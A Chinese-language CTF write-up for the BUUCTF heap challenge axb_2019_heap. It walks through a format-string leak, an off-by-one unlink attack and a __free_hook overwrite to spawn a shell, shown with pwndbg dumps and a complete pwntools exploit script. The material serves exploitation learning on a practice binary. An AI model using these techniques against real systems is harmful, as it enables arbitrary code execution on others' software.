关于axb_2019_heap的详解
参考：buuctf axb_2019_heap
程序流程
banner：存在格式化字符串漏洞，可以泄漏栈上的信息
add：根据idx创建size（大于0x80）大小的内容为content的块
块指针和块大小存放在一个全局变量note中
delete：释放的很干净，没有uaf
edit：存在off by one
get_input(*((_QWORD *)¬e + 2 * v1), *((_DWORD *)¬e + 4 * v1 + 2));
if ( a2 + 1 <= (unsigned int)v3 )v3是以及输入的长度，a2是给定的长度，存在一个字节的溢出
调试
这个程序没有保留调试信息，不能调试，只能一步步看，，，
GDB调试指南
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| Reading symbols from axb_2019_heap...(no debugging symbols found)...done.
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漏洞利用
利用格式化字符串泄露栈上信息
由于存在全局变量note，故可以利用unlink控制chunk指针
修改__free_hook为system，get shell
详细过程
1.格式化字符串
计算偏移：直接算或者用工具 => 得到偏移为7
执行到printf(&format);
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| ► 0x555555554b4e <banner+105> call printf@plt <printf@plt>
format: 0x7fffffffde4c ◂— 'aaaaaaaa'
vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'
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| pwndbg> stack 30
00:0000│ rsp 0x7fffffffde40 ◂— 0x0
01:0008│ rdi-4 0x7fffffffde48 ◂— 0x61616161ffffde60
02:0010│ 0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */ #输入的数据
03:0018│ 0x7fffffffde58 ◂— 0xd23db0a55446d00
04:0020│ rbp 0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov eax, 0
06:0030│ 0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1
07:0038│ 0x7fffffffde78 ◂— 0x0
08:0040│ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push r15
09:0048│ 0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax #可以泄露libc_base
0a:0050│ 0x7fffffffde90 ◂— 0x1
0b:0058│ 0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap'
0c:0060│ 0x7fffffffdea0 ◂— 0x1f7ffcca0
0d:0068│ 0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push rbp #main起始地址，可以泄露程序基地址
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所以__libc_start_main+240的偏移为15，main的偏移为19。
通过计算即可得到libc_base和程序基地址（开启了pie，每次都不一样）
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| p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))
libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))
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2.unlink
首先计算note地址 = 程序基地址 + note偏移 => note = pro_base + 0x0202060
接着申请三个块，0x98大小（方便修改下一个chunk）
- 第一个chunk：构造fake chunk
- 第二个chunk：用于释放，unlink
- 第三个chunk：防止第二个chunk和top chunk合并
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| pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55830d656000
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55830d6560a0
Size: 0xa1
Allocated chunk | PREV_INUSE
Addr: 0x55830d656140
Size: 0xa1
Top chunk | PREV_INUSE
Addr: 0x55830d6561e0
Size: 0x20e21
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| pwndbg> x/50gx 0x55830d656000
0x55830d656000: 0x0000000000000000 0x00000000000000a1
0x55830d656010: 0x0000000061616161 0x0000000000000000
0x55830d656020: 0x0000000000000000 0x0000000000000000
0x55830d656030: 0x0000000000000000 0x0000000000000000
0x55830d656040: 0x0000000000000000 0x0000000000000000
0x55830d656050: 0x0000000000000000 0x0000000000000000
0x55830d656060: 0x0000000000000000 0x0000000000000000
0x55830d656070: 0x0000000000000000 0x0000000000000000
0x55830d656080: 0x0000000000000000 0x0000000000000000
0x55830d656090: 0x0000000000000000 0x0000000000000000
0x55830d6560a0: 0x0000000000000000 0x00000000000000a1
0x55830d6560b0: 0x0000000062626262 0x0000000000000000
0x55830d6560c0: 0x0000000000000000 0x0000000000000000
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| pwndbg> x/30gx 0x55830ca49060
0x55830ca49060 <note>: 0x000055830d656010 0x0000000000000098
0x55830ca49070 <note+16>: 0x000055830d6560b0 0x0000000000000098
0x55830ca49080 <note+32>: 0x000055830d656150 0x0000000000000098
0x55830ca49090 <note+48>: 0x0000000000000000 0x0000000000000000
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| add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')
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通过第一个chunk构造，并off by one修改第二个chunk的大小。
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| pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e000
Size: 0xa1
Allocated chunk
Addr: 0x55d2cb54e0a0
Size: 0xa0 #修改标志位，表示上一个chunk被释放
Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e140
Size: 0xa1
Top chunk | PREV_INUSE
Addr: 0x55d2cb54e1e0
Size: 0x20e21
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| pwndbg> x/30gx 0x55d2cb54e000
0x55d2cb54e000: 0x0000000000000000 0x00000000000000a1 #第一个chunk
0x55d2cb54e010: 0x0000000000000000 0x0000000000000090 #fake chunk
0x55d2cb54e020: 0x000055d2cb00d048 0x000055d2cb00d050 #fd、bk
0x55d2cb54e030: 0x6161616161616161 0x6161616161616161
0x55d2cb54e040: 0x6161616161616161 0x6161616161616161
0x55d2cb54e050: 0x6161616161616161 0x6161616161616161
0x55d2cb54e060: 0x6161616161616161 0x6161616161616161
0x55d2cb54e070: 0x6161616161616161 0x6161616161616161
0x55d2cb54e080: 0x6161616161616161 0x6161616161616161
0x55d2cb54e090: 0x6161616161616161 0x6161616161616161
0x55d2cb54e0a0: 0x0000000000000090 0x00000000000000a0 #pre_size = 0x90,size = 0xa0
0x55d2cb54e0b0: 0x0000000062626262 0x0000000000000000
0x55d2cb54e0c0: 0x0000000000000000 0x0000000000000000
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| note = pro_base + 0x0202060
payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))
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释放第二个chunk，造成unlink，target = target - 0x18
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| #没变化
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55682bfdf000
Size: 0xa1
Allocated chunk
Addr: 0x55682bfdf0a0
Size: 0xa0
Allocated chunk
Addr: 0x55682bfdf140
Size: 0xa0
Top chunk | PREV_INUSE
Addr: 0x55682bfdf1e0
Size: 0x20e21
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| pwndbg> x/30gx 0x55682bfdf000
0x55682bfdf000: 0x0000000000000000 0x00000000000000a1
0x55682bfdf010: 0x0000000000000000 0x0000000000000131 #合并了，大小为0x90 + 0xa0
0x55682bfdf020: 0x00007fea30ac5b78 0x00007fea30ac5b78
0x55682bfdf030: 0x6161616161616161 0x6161616161616161
0x55682bfdf040: 0x6161616161616161 0x6161616161616161
0x55682bfdf050: 0x6161616161616161 0x6161616161616161
0x55682bfdf060: 0x6161616161616161 0x6161616161616161
0x55682bfdf070: 0x6161616161616161 0x6161616161616161
0x55682bfdf080: 0x6161616161616161 0x6161616161616161
0x55682bfdf090: 0x6161616161616161 0x6161616161616161
0x55682bfdf0a0: 0x0000000000000090 0x00000000000000a0
0x55682bfdf0b0: 0x0000000062626262 0x0000000000000000
0x55682bfdf0c0: 0x0000000000000000 0x0000000000000000
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| pwndbg> x/30gx 0x55682b44c060
0x55682b44c060 <note>: 0x000055682b44c048 0x0000000000000098#target = target - 0x18
0x55682b44c070 <note+16>: 0x0000000000000000 0x0000000000000000
0x55682b44c080 <note+32>: 0x000055682bfdf150 0x0000000000000098
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3.修改__free_hook为system
通过第一个chunk，覆盖第一个chunk的指针指向__free_hook的地址
设置第二个chunk为参数“/bin/sh\x00”，只要让chunk2指向后面的地址，在上面的地址布置上字符串即可。
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| pwndbg> x/30gx 0x55cbe5291060
0x55cbe5291060 <note>: 0x00007f962216f7a8 0x0000000000000098 #__free_hook地址
0x55cbe5291070 <note+16>: 0x000055cbe5291078 0x0068732f6e69622f #binsh地址 binsh字符串
0x55cbe5291080 <note+32>: 0x000055cbe5975100 0x0000000000000098
0x55cbe5291090 <note+48>: 0x0000000000000000 0x0000000000000000
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| pwndbg> x/30gx 0x00007f962216f7a8
0x7f962216f7a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
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| system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)
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第一个chunk指向__free_hook，往chunk1填入数据就是往__free_hook填入数据，修改其为system地址。
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| pwndbg> x/30gx 0x5578fc638060
0x5578fc638060 <note>: 0x00007f909293e7a8 0x0000000000000098
0x5578fc638070 <note+16>: 0x00005578fc638078 0x0068732f6e69622f
0x5578fc638080 <note+32>: 0x00005578fd63e100 0x0000000000000098
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| pwndbg> x/30gx 0x00007f909293e7a8
0x7f909293e7a8 <__free_hook>: 0x00007f90925bd3a0
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| pwndbg> x/30gx 0x00007f90925bd3a0
0x7f90925bd3a0 <__libc_system>: 0xfa86e90b74ff8548
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最后，释放第二个chunk即可执行free(2) => system(“/bin/sh\x00”)
完整exp
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| from pwn import *
p = process("./axb_2019_heap")
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def cmd(choice):
p.recvuntil(">> ")
p.sendline(str(choice))
def add(idx,size,content):
cmd(1)
p.recvuntil("to create (0-10):")
p.sendline(str(idx))
p.recvuntil("Enter a size:")
p.sendline(str(size))
p.recvuntil("Enter the content:")
p.sendline(content)
def dele(idx):
cmd(2)
p.recvuntil("Enter an index:")
p.sendline(str(idx))
def edit(idx,content):
cmd(4)
p.recvuntil("Enter an index:")
p.sendline(str(idx))
p.recvuntil("Enter the content: ")
p.sendline(content)
p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))
libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))
system = libc_base + libc.sym['system']
note = pro_base + 0x0202060
add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')
print(hex(note))
fd = note - 0x18
bk = note - 0x10
payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))
dele(1)
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)
edit(0,p64(system))
print(hex(note))
gdb.attach(p)
pause()
dele(1)
p.interactive()
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组合拳，题型：fmt + off by one + unlink
